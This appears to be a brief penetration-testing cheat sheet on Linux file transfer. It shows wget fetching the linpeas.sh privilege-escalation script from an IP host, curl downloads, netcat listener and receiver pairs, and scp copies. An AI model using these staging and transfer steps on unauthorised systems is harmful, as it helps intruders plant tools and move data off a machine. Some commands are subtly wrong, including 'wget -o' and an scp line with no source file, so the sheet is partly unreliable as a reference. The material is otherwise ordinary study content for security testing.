Linux

Wget

wget http://192.168.1.5/linpeas.sh -o linpeas.sh

cURL

curl http://192.168.1.5/hello.txt -o hello.txt

Netcat

Sender

nc -lvp 1234 < test.txt

Receiver

nc -nv 127.0.0.1 1234 > test.txt

SCP

  • Copies files between two hosts over SSH

Copy local file to remote system -

scp file.txt remote_username@10.10.10.10:/remote/directory

Copy remote file to local system -

scp remote_username@10.10.10.10:/remote/file.txt /local/directory

Improve scp performance by using blowfish

scp -c blowfish remote_username@10.10.10.10:/remote/directory

Last updated